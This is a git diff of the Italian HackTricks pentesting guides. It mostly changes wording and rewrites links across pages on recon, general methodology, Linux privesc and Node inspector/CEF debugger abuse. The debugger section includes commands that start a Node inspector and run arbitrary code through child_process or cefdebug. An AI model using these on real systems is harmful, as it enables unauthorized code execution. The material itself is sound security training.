-Controlla per possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Se il **sottodominio** punta a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/).
+Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
+Se il **sottodominio** punta a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
-Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e alcune [**scansioni delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
+Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
 &#xNAN;_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
 
 ## IPs
@@ -466,7 +466,7 @@ Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato ne
 Nei passaggi iniziali potresti aver **trovato alcuni intervalli IP, domini e sottodomini**.\
 È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/sottodomini (query DNS).**
 
-Utilizzando i servizi delle seguenti **api gratuite** puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
 - [**https://securitytrails.com/**](https://securitytrails.com/)
 
@@ -474,9 +474,9 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
 
 ### **Cercare vulnerabilità**
 
-**Scansiona tutte le porte degli IP che non appartengono a CDN** (poiché è altamente probabile che non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**.
+**Scansiona tutte le porte degli IP che non appartengono a CDNs** (poiché probabilmente non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**.
 
-**Trova una** [**guida**](../pentesting-network/) **su come scansionare gli host.**
+**Trova una** [**guida**](../pentesting-network/index.html) **su come scansionare gli host.**
 
 ## Caccia ai server web
 
@@ -484,7 +484,7 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
 
 Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito.
 
-Si prega di notare che questo sarà **orientato alla scoperta di app web**, quindi dovresti **eseguire la scansione delle vulnerabilità** e **scansioni delle porte** anche (**se consentito** dall'ambito).
+Si prega di notare che questo sarà **orientato alla scoperta di app web**, quindi dovresti **eseguire la scansione delle vulnerabilità** e **scansione delle porte** anche (**se consentito** dall'ambito).
 
 Un **metodo veloce** per scoprire **porte aperte** relative ai **server** web utilizzando [**masscan** può essere trovato qui](../pentesting-network/index.html#http-port-discovery).\
 Un altro strumento amichevole per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Devi solo passare un elenco di domini e cercherà di connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte:
@@ -494,15 +494,15 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
 ```
 ### **Screenshot**
 
-Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** di essere **vulnerabili**.
+Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**.
 
 Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
 
-Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeballer) per esaminare tutti gli **screenshot** e dirti **cosa è probabile contenga vulnerabilità**, e cosa non lo è.
+Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeballer) per esaminare tutti gli **screenshot** e dirti **cosa è probabile contenga vulnerabilità** e cosa non lo è.
 
 ## Risorse Cloud Pubbliche
 
-Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto company potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
+Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di un'azienda crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
 
 Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**:
 
@@ -550,7 +550,7 @@ Le perdite di credenziali sono correlate a hack di aziende dove **informazioni s
 
 ### Github Leaks
 
-Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda su github.\
+Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\
 Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
 
 **Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
@@ -570,7 +570,7 @@ Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per
 
 ### Google Dorks
 
-I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o potresti usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
+I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
 
 _Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto, molto presto._
 
@@ -592,9 +592,9 @@ Ci sono anche servizi gratuiti che ti permettono di **scansionare repository pub
 
 - [**Snyk**](https://app.snyk.io/)
 
-## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
+## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
 
-La **maggior parte delle vulnerabilità** trovate dai bug hunter risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di testing delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/).
+La **maggior parte delle vulnerabilità** trovate dai bug hunter risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di testing delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/index.html).
 
 Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflow per avere alcune informazioni web iniziali.**
 
@@ -605,16 +605,16 @@ Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners o
 Quindi hai già:
 
 1. Trovato tutte le **aziende** all'interno dell'ambito
-2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se nell'ambito)
+2. Trovato tutti gli **asset** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se in ambito)
 3. Trovato tutti i **domini** appartenenti alle aziende
 4. Trovato tutti i **sottodomini** dei domini (qualche takeover di sottodominio?)
 5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno dell'ambito.
-6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (c'è qualcosa di strano che merita un'analisi più approfondita?)
-7. Trovato tutte le **potenziali risorse cloud pubbliche** appartenenti all'azienda.
+6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (qualcosa di strano che valga un'analisi più approfondita?)
+7. Trovato tutti i **potenziali asset cloud pubblici** appartenenti all'azienda.
 8. **Email**, **perdite di credenziali** e **perdite di segreti** che potrebbero darti una **grande vittoria molto facilmente**.
 9. **Pentesting di tutti i siti web che hai trovato**
 
-## **Strumenti Automatici di Recon Completi**
+## **Strumenti Automatici di Full Recon**
 
 Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte contro un dato ambito.
 

src/generic-methodologies-and-resources/pentesting-methodology.md

@@ -13,14 +13,14 @@ _I loghi di Hacktricks sono stati progettati da_ [_@ppiernacho_](https://www.ins
 
 Hai **accesso fisico** alla macchina che vuoi attaccare? Dovresti leggere alcuni [**trucchi sugli attacchi fisici**](../hardware-physical-access/physical-attacks.md) e altri su [**come sfuggire dalle applicazioni GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
 
-### 1 - [Scoprire host all'interno della rete](pentesting-network/index.html#discovering-hosts)/ [Scoprire le risorse dell'azienda](external-recon-methodology/)
+### 1 - [Scoprire host all'interno della rete](pentesting-network/index.html#discovering-hosts)/ [Scoprire le risorse dell'azienda](external-recon-methodology/index.html)
 
 **A seconda** se il **test** che stai eseguendo è un **test interno o esterno**, potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare risorse dell'azienda su Internet** (test esterno).
 
 > [!NOTE]
 > Nota che se stai eseguendo un test esterno, una volta che riesci a ottenere accesso alla rete interna dell'azienda, dovresti riavviare questa guida.
 
-### **2-** [**Divertirsi con la rete**](pentesting-network/) **(Interno)**
+### **2-** [**Divertirsi con la rete**](pentesting-network/index.html) **(Interno)**
 
 **Questa sezione si applica solo se stai eseguendo un test interno.**\
 Prima di attaccare un host, forse preferisci **rubare alcune credenziali** **dalla rete** o **sniffare** alcuni **dati** per apprendere **passivamente/attivamente (MitM)** cosa puoi trovare all'interno della rete. Puoi leggere [**Pentesting Network**](pentesting-network/index.html#sniffing).
@@ -39,10 +39,10 @@ Se non c'è alcun exploit interessante per alcun servizio in esecuzione, dovrest
 
 **All'interno di questo libro troverai una guida per pentestare i servizi più comuni** (e altri che non sono così comuni)**. Per favore, cerca nell'indice a sinistra la** _**SEZIONE PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
 
-**Voglio fare una menzione speciale della** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **parte (poiché è la più estesa).**\
+**Voglio fare una menzione speciale della** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **parte (poiché è la più estesa).**\
 Inoltre, una piccola guida su come [**trovare vulnerabilità note nel software**](../generic-hacking/search-exploits.md) può essere trovata qui.
 
-**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzando e leggendo le risposte** (se ci sono).
+**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ci sono).
 
 #### 5.1 Strumenti Automatici
 
@@ -52,13 +52,13 @@ Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche d
 
 In alcuni scenari una **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diversi servizi di brute forcing**](../generic-hacking/brute-force.md)**.**
 
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
 
-Se a questo punto non hai trovato alcuna vulnerabilità interessante, **potresti dover provare un po' di phishing** per entrare nella rete. Puoi leggere la mia metodologia di phishing [qui](phishing-methodology/):
+Se a questo punto non hai trovato alcuna vulnerabilità interessante, **potresti dover provare un po' di phishing** per entrare nella rete. Puoi leggere la mia metodologia di phishing [qui](phishing-methodology/index.html):
 
-### **7-** [**Ottenere Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Ottenere Shell**](../generic-hacking/reverse-shells/index.html)
 
-In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Poi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](../generic-hacking/reverse-shells/).
+In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](../generic-hacking/reverse-shells/index.html).
 
 Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.**\\
 
@@ -68,36 +68,36 @@ Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei co
 
 - [**Linux**](../linux-hardening/useful-linux-commands.md)
 - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 
 ### **9 -** [**Esfiltrazione**](../generic-hacking/exfiltration.md)
 
-Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare a questi scopi**](../generic-hacking/exfiltration.md)**.**
+Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare con questi scopi**](../generic-hacking/exfiltration.md)**.**
 
 ### **10- Escalation dei Privilegi**
 
 #### **10.1- Privesc Locale**
 
 Se non sei **root/Amministratore** all'interno della macchina, dovresti trovare un modo per **escalare i privilegi.**\
-Qui puoi trovare una **guida per escalare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
+Qui puoi trovare una **guida per escalare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/index.html) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
 Dovresti anche controllare queste pagine su come funziona **Windows**:
 
-- [**Autenticazione, Credenziali, Privilegi dei Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Come funziona [**NTLM**](../windows-hardening/ntlm/)
+- [**Autenticazione, Credenziali, Privilegi dei Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Come funziona [**NTLM**](../windows-hardening/ntlm/index.html)
 - Come [**rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
-- Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
 
 **Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 
 #### **10.2- Privesc di Dominio**
 
-Qui puoi trovare una [**metodologia che spiega le azioni più comuni per enumerare, escalare privilegi e persistere in un Active Directory**](../windows-hardening/active-directory-methodology/). Anche se questa è solo una sottosezione di una sezione, questo processo potrebbe essere **estremamente delicato** in un incarico di Pentesting/Red Team.
+Qui puoi trovare una [**metodologia che spiega le azioni più comuni per enumerare, escalare privilegi e persistere in un Active Directory**](../windows-hardening/active-directory-methodology/index.html). Anche se questa è solo una sottosezione di una sezione, questo processo potrebbe essere **estremamente delicato** in un incarico di Pentesting/Red Team.
 
 ### 11 - POST
 
 #### **11**.1 - Saccheggio
 
-Controlla se puoi trovare altre **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\
+Controlla se puoi trovare più **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\
 Trova qui diversi modi per [**dumpare password in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
 
 #### 11.2 - Persistenza
@@ -109,22 +109,22 @@ TODO: Completare la persistenza Post in Windows & Linux
 
 ### 12 - Pivoting
 
-Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (inizia di nuovo la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\
+Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (iniziare di nuovo la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\
 In questo caso il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Dovresti sicuramente controllare anche il post sulla [Metodologia di pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, escalare privilegi e dumpare credenziali.\
-Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare in ambienti Windows.
+Dovresti anche controllare il post sulla [Metodologia di pentesting di Active Directory](../windows-hardening/active-directory-methodology/index.html). Lì troverai trucchi interessanti per muoverti lateralmente, escalare privilegi e dumpare credenziali.\
+Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/index.html), potrebbe essere molto utile per pivotare in ambienti Windows.
 
 ### ALTRO
 
-#### [Applicazioni Android](../mobile-pentesting/android-app-pentesting/)
+#### [Applicazioni Android](../mobile-pentesting/android-app-pentesting/index.html)
 
 #### **Sfruttamento**
 
-- [**Sfruttamento di Base in Linux**](broken-reference/)
+- [**Sfruttamento di Base in Linux**](broken-reference/index.html)
 - [**Sfruttamento di Base in Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Strumenti di sfruttamento di base**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Strumenti di sfruttamento di base**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 
-#### [**Python di Base**](python/)
+#### [**Python di Base**](python/index.html)
 
 #### **Trucchi di Criptografia**
 

src/generic-methodologies-and-resources/python/README.md

@@ -6,7 +6,7 @@
 
 - [**Trucchi di hacking Pyscript**](pyscript.md)
 - [**Deserializzazioni Python**](../../pentesting-web/deserialization/index.html#python)
-- [**Trucchi per bypassare le sandbox Python**](bypass-python-sandboxes/)
+- [**Trucchi per bypassare le sandbox Python**](bypass-python-sandboxes/index.html)
 - [**Sintassi di base delle richieste web in Python**](web-requests.md)
 - [**Sintassi e librerie di base di Python**](basic-python.md)
 

src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md

@@ -4,7 +4,7 @@
 
 ## Informazioni di base
 
-Diverse vulnerabilità come [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) o [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) potrebbero consentirti di **leggere i dati interni di python ma non ti permetteranno di eseguire codice**. Pertanto, un pentester dovrà sfruttare al massimo queste autorizzazioni di lettura per **ottenere privilegi sensibili e aumentare la vulnerabilità**.
+Diverse vulnerabilità come [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) o [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) potrebbero consentirti di **leggere i dati interni di python ma non ti permetteranno di eseguire codice**. Pertanto, un pentester dovrà sfruttare al massimo questi permessi di lettura per **ottenere privilegi sensibili e aumentare la vulnerabilità**.
 
 ### Flask - Leggi la chiave segreta
 
@@ -13,7 +13,7 @@ La pagina principale di un'applicazione Flask avrà probabilmente l'oggetto glob
 app = Flask(__name__, template_folder='templates')
 app.secret_key = '(:secret:)'
 ```
-In questo caso è possibile accedere a questo oggetto semplicemente utilizzando qualsiasi gadget per **accedere agli oggetti globali** dalla [**pagina di Bypass Python sandboxes**](bypass-python-sandboxes/).
+In questo caso è possibile accedere a questo oggetto semplicemente utilizzando qualsiasi gadget per **accedere agli oggetti globali** dalla pagina [**Bypass Python sandboxes**](bypass-python-sandboxes/index.html).
 
 Nel caso in cui **la vulnerabilità si trovi in un file python diverso**, hai bisogno di un gadget per attraversare i file per arrivare a quello principale e **accedere all'oggetto globale `app.secret_key`** per cambiare la chiave segreta di Flask e poter [**escalare i privilegi** conoscendo questa chiave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 

src/linux-hardening/linux-privilege-escalation-checklist.md

@@ -1,4 +1,4 @@
-# Checklist - Escalazione dei privilegi in Linux
+# Checklist - Linux Privilege Escalation
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -38,7 +38,7 @@
 ### [Lavori programmati/Cron?](privilege-escalation/index.html#scheduled-jobs)
 
 - [ ] Il [**PATH**](privilege-escalation/index.html#cron-path) viene modificato da qualche cron e puoi **scrivere** in esso?
-- [ ] Qualche [**carattere jolly**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) in un lavoro cron?
+- [ ] Qualche [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) in un lavoro cron?
 - [ ] Qualche [**script modificabile**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) viene **eseguito** o si trova in una **cartella modificabile**?
 - [ ] Hai rilevato che qualche **script** potrebbe essere o viene [**eseguito** molto **frequentemente**](privilege-escalation/index.html#frequent-cron-jobs)? (ogni 1, 2 o 5 minuti)
 
@@ -72,10 +72,10 @@
 
 - [ ] Enumerazione di utenti/gruppi **generici**
 - [ ] Hai un **UID molto grande**? La **macchina** è **vulnerabile**?
-- [ ] Puoi [**escalare i privilegi grazie a un gruppo**](privilege-escalation/interesting-groups-linux-pe/) a cui appartieni?
-- [ ] Dati negli **appunti**?
+- [ ] Puoi [**escalare i privilegi grazie a un gruppo**](privilege-escalation/interesting-groups-linux-pe/index.html) a cui appartieni?
+- [ ] Dati **Clipboard**?
 - [ ] Politica delle password?
-- [ ] Prova a **usare** ogni **password conosciuta** che hai scoperto in precedenza per accedere **con ciascun** possibile **utente**. Prova a effettuare il login anche senza password.
+- [ ] Prova a **usare** ogni **password conosciuta** che hai scoperto in precedenza per accedere **con ciascun** possibile **utente**. Prova ad accedere anche senza password.
 
 ### [PATH scrivibile](privilege-escalation/index.html#writable-path-abuses)
 
@@ -137,7 +137,7 @@
 
 ### [**Altri trucchi**](privilege-escalation/index.html#other-tricks)
 
-- [ ] Puoi [**abusare di NFS per escalare i privilegi**](privilege-escalation/index.html#nfs-privilege-escalation)?
+- [ ] Puoi [**sfruttare NFS per escalare i privilegi**](privilege-escalation/index.html#nfs-privilege-escalation)?
 - [ ] Hai bisogno di [**uscire da una shell restrittiva**](privilege-escalation/index.html#escaping-from-restricted-shells)?
 
 {{#include ../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md

@@ -1,4 +1,4 @@
-# Abuso del debug di Node inspector/CEF
+# Node inspector/CEF debug abuse
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -42,7 +42,7 @@ I siti web aperti in un browser possono effettuare richieste WebSocket e HTTP se
 
 ### Avviare l'inspector nei processi in esecuzione
 
-Puoi inviare il **segnale SIGUSR1** a un processo nodejs in esecuzione per farlo **avviare l'inspector** nella porta predefinita. Tuttavia, nota che devi avere privilegi sufficienti, quindi questo potrebbe concederti **accesso privilegiato alle informazioni all'interno del processo** ma non una diretta escalation di privilegi.
+Puoi inviare il **segnale SIGUSR1** a un processo nodejs in esecuzione per farlo **avviare l'inspector** nella porta predefinita. Tuttavia, nota che devi avere privilegi sufficienti, quindi questo potrebbe concederti **accesso privilegiato alle informazioni all'interno del processo** ma non una escalation di privilegi diretta.
 ```bash
 kill -s SIGUSR1 <nodejs-ps>
 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@@ -52,7 +52,7 @@ kill -s SIGUSR1 <nodejs-ps>
 
 ### Connettersi all'inspector/debugger
 
-Per connettersi a un **browser basato su Chromium**, è possibile accedere agli URL `chrome://inspect` o `edge://inspect` per Chrome o Edge, rispettivamente. Cliccando sul pulsante Configura, si dovrebbe garantire che l'**host e la porta di destinazione** siano elencati correttamente. L'immagine mostra un esempio di Esecuzione Remota di Codice (RCE):
+Per connettersi a un **browser basato su Chromium**, è possibile accedere agli URL `chrome://inspect` o `edge://inspect` per Chrome o Edge, rispettivamente. Cliccando sul pulsante Configura, si dovrebbe assicurarsi che l'**host e la porta di destinazione** siano elencati correttamente. L'immagine mostra un esempio di Esecuzione Remota di Codice (RCE):
 
 ![](<../../images/image (674).png>)
 
@@ -63,7 +63,7 @@ node inspect 127.0.0.1:9229
 # RCE example from debug console
 debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
 ```
-Lo strumento [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) consente di **trovare gli ispettori** in esecuzione localmente e **iniettare codice** in essi.
+Lo strumento [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) consente di **trovare gli inspector** in esecuzione localmente e **iniettare codice** in essi.
 ```bash
 #List possible vulnerable sockets
 ./cefdebug.exe
@@ -73,12 +73,12 @@ Lo strumento [**https://github.com/taviso/cefdebug**](https://github.com/taviso/
 ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
 ```
 > [!NOTE]
-> Nota che gli **exploit RCE di NodeJS non funzioneranno** se connessi a un browser tramite [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (devi controllare l'API per trovare cose interessanti da fare con esso).
+> Nota che **gli exploit RCE di NodeJS non funzioneranno** se connessi a un browser tramite [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (devi controllare l'API per trovare cose interessanti da fare con esso).
 
 ## RCE nel Debugger/Inspector di NodeJS
 
 > [!NOTE]
-> Se sei arrivato qui cercando come ottenere [**RCE da un XSS in Electron, controlla questa pagina.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> Se sei arrivato qui cercando come ottenere [**RCE da un XSS in Electron, controlla questa pagina.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
 
 Alcuni modi comuni per ottenere **RCE** quando puoi **connetterti** a un **inspector** di Node è utilizzare qualcosa come (sembra che questo **non funzionerà in una connessione al protocollo Chrome DevTools**):
 ```javascript
@@ -94,7 +94,7 @@ In questa sezione elencherò solo cose interessanti che ho trovato che le person
 
 ### Parameter Injection via Deep Links
 
-Nel [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security ha scoperto che un'applicazione basata su CEF **ha registrato un URI personalizzato** nel sistema (workspaces://) che riceveva l'URI completo e poi **lanciava l'applicazione basata su CEF** con una configurazione che era parzialmente costruita da quell'URI.
+Nel [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security ha scoperto che un'applicazione basata su CEF **ha registrato un URI personalizzato** nel sistema (workspaces://index.html) che riceveva l'URI completo e poi **lanciava l'applicazione basata su CEF** con una configurazione che era parzialmente costruita da quell'URI.
 
 È stato scoperto che i parametri URI venivano decodificati in URL e utilizzati per lanciare l'applicazione di base CEF, consentendo a un utente di **iniettare** il flag **`--gpu-launcher`** nella **linea di comando** ed eseguire cose arbitrarie.
 

src/macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -95,7 +95,7 @@ Pertanto, un attaccante che desidera compromettere con successo una macchina mac
 
